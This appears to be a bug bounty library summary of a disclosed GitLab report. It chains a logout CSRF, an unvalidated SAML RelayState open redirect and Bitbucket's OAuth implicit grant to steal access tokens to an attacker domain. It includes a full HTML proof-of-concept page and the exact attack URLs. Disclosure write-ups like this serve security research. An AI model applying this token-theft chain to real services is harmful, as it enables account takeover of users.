# Account takeover due to insufficient URL validation on RelayState parameter

Unvalidated SAML RelayState stored in GitLab cookies enabled open redirect, chained with Bitbucket implicit grant to steal OAuth access tokens and take over accounts.

- Payout: $2,450
- Severity: medium
- Program: GitLab
- Found by: bull
- Disclosed: 2023-05-30
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1923672
- Library page: https://bugbountylibrary.com/r/h1%3A1923672
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:medium tech:oauth tech:saml technique:chained vuln:account-takeover vuln:open-redirect

**Target:** GitLab SAML SSO RelayState handling and OAuth callback flow
**Root cause:** GitLab did not validate the SAML RelayState parameter, persisting an attacker-controlled redirect URL in cookies that later redirected users to arbitrary domains.
**Steps:**
1. Log victim out via CSRF POST to `https://gitlab.com/users/sign_out`
2. Send victim to SAML IdP URL with `RelayState=.witcoat.com` to store open redirect in GitLab cookies
3. Trigger Bitbucket OAuth with `response_type=token` and `redirect_uri=https://gitlab.com/users/auth/bitbucket/callback`
4. GitLab redirects to attacker domain with access token in URL fragment
5. Attacker extracts token and calls `GET /2.0/repositories/%7B766210f9-9bec-4010-9f4d-917b06661c0c%7D` with `Authorization: Bearer <token>`
**How found:** Researcher noticed RelayState was reflected into cookies without validation during SAML login, then realized the stored redirect could be abused with OAuth implicit grant flows where response_type=token returns tokens in URL fragments.
**Exploitation:** Attacker hosts a page with three forms: logout CSRF, SAML RelayState injection, and Bitbucket OAuth initiation with response_type=token. Victim visits page, gets logged out, open redirect saved in cookies, then Bitbucket implicit grant returns access token to attacker's domain via the stored redirect. Token grants Bitbucket API access.
**Escalation:** Chained CSRF logout + open redirect + OAuth implicit grant to convert a low-impact redirect into full third-party OAuth token theft affecting Bitbucket, Google, Salesforce, Twitter users.
**Insight:** SAML RelayState and OAuth state parameters that get persisted (cookies/session) are prime open-redirect sinks; combine with implicit grant providers (response_type=token) to leak tokens in URL fragments to attacker domains.

## Proof of concept (copied exactly from the original report)

**HTML PoC chaining logout, SAML RelayState, Bitbucket token theft**

```
<html>
<title>GitLab</title>


<body>
	
<span>Logout of gitlab if logged in:</span>

<form action="https://gitlab.com/users/sign_out" target="_blank" method="post"><button>Logout Gitlab Account</button></form>

<br>
<br>
<br>
<br>

<span>Open redirect via SAML:</span>

<form action="https://bugcrowd-iambull-2.oktapreview.com/app/bugcrowd-iambull-2_gitlabcom_1/exk1lit3jovMjvewh0h8/sso/saml" target="_blank" method="get">
	<input type="hidden" name="RelayState" value=".witcoat.com" /> 
	<button>Save Open Redirect</button></form>
<br>


<span>steal oauth access Token For Bitbucket:</span>

<form action="https://bitbucket.org/site/oauth2/authorize" target="_blank" method="get">
	<input type="hidden" name="client_id" value="b9jLmh8WCLZPBAwWba" /> 
  <input type="hidden" name="redirect_uri" value="https://gitlab.com/users/auth/bitbucket/callback" /> 
  <input type="hidden" name="response_type" value="token" /> 
    <input type="hidden" name="state" value="Doesnotmatter" /> 


	<button>Steal Bitbucket Code</button>
</form>


</body>



</html>
```

**SAML RelayState open redirect URL**

```
https://bugcrowd-iambull-2.oktapreview.com/app/bugcrowd-iambull-2_gitlabcom_1/exk1lit3jovMjvewh0h8/sso/saml?RelayState=.witcoat.com
```

**Bitbucket implicit grant token request**

```
https://bitbucket.org/site/oauth2/authorize?client_id=b9jLmh8WCLZPBAwWba&redirect_uri=https%3A%2F%2Fgitlab.com%2Fusers%2Fauth%2Fbitbucket%2Fcallback&response_type=token&state=DoesNotMatter
```

